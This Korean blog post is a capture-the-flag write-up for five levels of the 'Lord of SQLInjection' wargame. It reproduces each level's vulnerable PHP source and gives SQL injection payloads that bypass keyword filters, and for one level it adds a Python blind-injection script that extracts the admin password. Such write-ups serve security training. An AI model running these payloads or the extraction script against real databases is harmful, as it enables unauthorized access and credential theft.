[LORD OF SQLINJECTION] Darkelf, Orge, Troll, Vampire, Skeleton Write-Up

· omacs's blog

#writeup #wargame #los

# Contents

  1. Darkelf
    1. Problem Description and Analysis
    2. Exploit
  2. Orge
    1. Problem Description and Analysis
    2. Exploit
  3. Troll
    1. Problem Description and Analysis
    2. Exploit
  4. Vampire
    1. Problem Description and Analysis
    2. Exploit
  5. Skeleton
    1. Problem Description and Analysis
    2. Exploit
  6. References

# Darkelf

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[1]:

 1<?php 
 2  include "./config.php"; 
 3  login_chk(); 
 4  $db = dbconnect();  
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 6  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
 7  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
 8  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
 9  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
10  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
11  if($result['id'] == 'admin') solve("darkelf"); 
12  highlight_file(__FILE__); 
13?>

제시된 문제를 살펴보면 and와 or을 필터링하고 있음을 알 수 있고, 이는 각각 &&와 ||로 우회할 수 있다.

# Exploit

SQLi를 위한 pw parameter 값은 다음과 같다:

pw=-1%27||id=%27admin

# Orge

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[2]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 두 개의 query가 실행되고 두 번째 query의 결과값과 pw parameter의 값이 같을 때 문제가 풀림을 알 수 있다. 즉, admin의 pw를 알아내야 하고, 이는 첫 번째 query가 성공했을 때 "Hello admin"을 출력하는 코드를 이용하여 유추할 수 있다. 이때 첫 번째 query에 대해 and와 or을 필터링하므로 유추하기 위한 query에는 and나 or이 포함돼서는 안된다.

# Exploit

제시된 문제의 pw를 얻는 과정은 다음 세 단계를 거친다:

  1. Get the length of a pw
  2. Get the bit length of each character in a pw
  3. Get the ascii code of each character

첫 단계인 pw의 길이를 얻는 방법은 SQL 함수 중 하나인 length()에 pw를 전달했을 때의 return 값과 일치하는 값을 반복문으로 찾는 것이다.

다음 단계인 pw를 구성하는 각 문자의 비트 길이를 구하는 방법은 첫 단계에서와 비슷하게 length()를 사용한다. 다만, 각 문자의 비트 길이이므로 SQL substr()으로 각 문자를 추출하고 ascii()와 bin()으로 비트열을 얻어서 길이를 구해야 한다 (ord 함수에는 or이 포함됨을 기억하라).

마지막 단계인 각 문자의 아스키 코드 값을 구하는 방법은 이전 단계에서 얻은 비트열 길이에 따른 범위의 값을 bruteforce하는 것이다. 물론, printable character 범위를 각각 지정해서 대입하거나, 앞 단계에서 사용한 방법과 같이 비트열을 이용하는 방법이 있다[3, 4].

지금까지 설명한 것을 코드로 작성하면 다음과 같다 (Cookie 같은 적절한 값으로 수정해야 함에 주의하라):

 1import requests
 2
 3def get_request_response(arg_url, arg_header):
 4    response = requests.get(arg_url, headers=arg_header)
 5    return response.text
 6
 7def build_query_pwlen(arg_url, arg_pwlen):
 8    query = f"{arg_url}'||id='admin'%26%26length(pw)={arg_pwlen}--%09"
 9    return query
10
11def get_pwlen(arg_url, arg_header):
12    password_length = 0
13    while True:
14	query_url = build_query_pwlen(arg_url, password_length)
15	query_result = get_request_response(query_url, arg_header)
16	print(query_url)
17	if "<h2>" in query_result:
18	    break
19	password_length += 1
20    return password_length
21
22def build_query_bitlen(arg_url, arg_loc, arg_bitlen):
23    query = f"{arg_url}'||id='admin'%26%26length(bin(ascii(substr(pw, {arg_loc}, 1))))={arg_bitlen}--%09"
24    return query
25
26def get_charset(arg_url, arg_header, arg_pwlen):
27    bit_length = 0
28    bit_length_lst = []
29    for i in range(1, arg_pwlen + 1):
30	bit_length = 0
31	while True:
32	    query_url = build_query_bitlen(arg_url, i, bit_length)
33	    query_result = get_request_response(query_url, arg_header)
34	    print(query_url)
35	    if "<h2>" in query_result:
36		bit_length_lst.append(bit_length)
37		break
38	    bit_length += 1
39    return bit_length_lst
40
41def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
42    query = f"{arg_url}'||id='admin'%26%26ascii(substr(pw, {arg_loc}, 1))={arg_pwchar}-- "
43    return query
44
45def get_pw(arg_url, arg_header, arg_pwlen, arg_bitlen_lst):
46    password_lst = []
47    for i in range(1, arg_pwlen + 1):
48	for j in range(0, 1 << (arg_bitlen_lst[i - 1] - 1) + 1):
49	    query_url = build_query_pwchar(arg_url, i, j)
50	    query_result = get_request_response(query_url, arg_header)
51	    print(f"query url: {query_url}")
52	    if "<h2>" in query_result:
53		print(j)
54		password_lst.append(j)
55		break
56	if j == 1 << (arg_bitlen_lst[i - 1]):
57	    print('Not found')
58	    break
59    return password_lst
60
61if __name__ == "__main__":
62    url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
63    header = { 'cookie': 'PHPSESSID=MydEAdbEef' }
64
65    print('---[ Stage 1: Get password length')
66    password_length = get_pwlen(url, header)
67    print(f"Password length: {password_length}\n")
68
69    print('---[ Stage 2: Check character set')
70    bit_length_lst = get_charset(url, header, password_length)
71    print(f"Bit length list: {bit_length_lst}")
72
73    print('---[ Stage 3: Bruteforce password')
74    password_lst = get_pw(url, header, password_length, bit_length_lst)
75    password_string = [chr(x) for x in password_lst]
76    print(f"Password: {password_string}")

# Troll

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[5]:

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

제시된 문제를 살펴보면 "admin" 문자열을 필터링하고 있음을 알 수 있다. 그런데 표현식을 보면 대소문자를 구분한다는 것을 확인할 수 있고, 이를 이용하여 우회할 수 있다.

# Exploit

SQLi를 위한 id parameter 값은 다음과 같다:

id=adMin

# Vampire

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[6]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 "admin" 문자열 필터링을 하고 있음을 알 수 있다. 그리고 필터링 방식은 해당 문자열을 ""으로 없애는 것이다. 하지만 이러한 필터링 방식은 중간에 필터링되는 문자열을 끼워넣는 방식으로 우회할 수 있다.

# Exploit

SQLi를 위한 id parameter는 다음과 같다:

id=adadminmin

# Skeleton

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[7]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 pw parameter 뒤에 false인 조건식이 있어 query가 항상 false임을 알 수 있다. 하지만 이는 주석으로 우회할 수 있다.

# Exploit

SQLi를 위한 pw parameter 값은 다음과 같다:

pw=%27or id=%27admin%27%23

# References

  1. "darkelf," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  2. "orge," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  3. msh1307, "LORD OF SQL INJECTION ORC 풀이". [Online]. Available: https://msh1307.tistory.com/26, [Accessed Mar. 07, 2024].
  4. zzsla, "[Lord of SQLInjection]orc write up". [Online]. Available: https://velog.io/@zzsla/Lord-of-SQLInjectionorc-write-up, [Accessed Mar. 07, 2024].
  5. "troll," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  6. "vampire," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  7. "skeleton," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].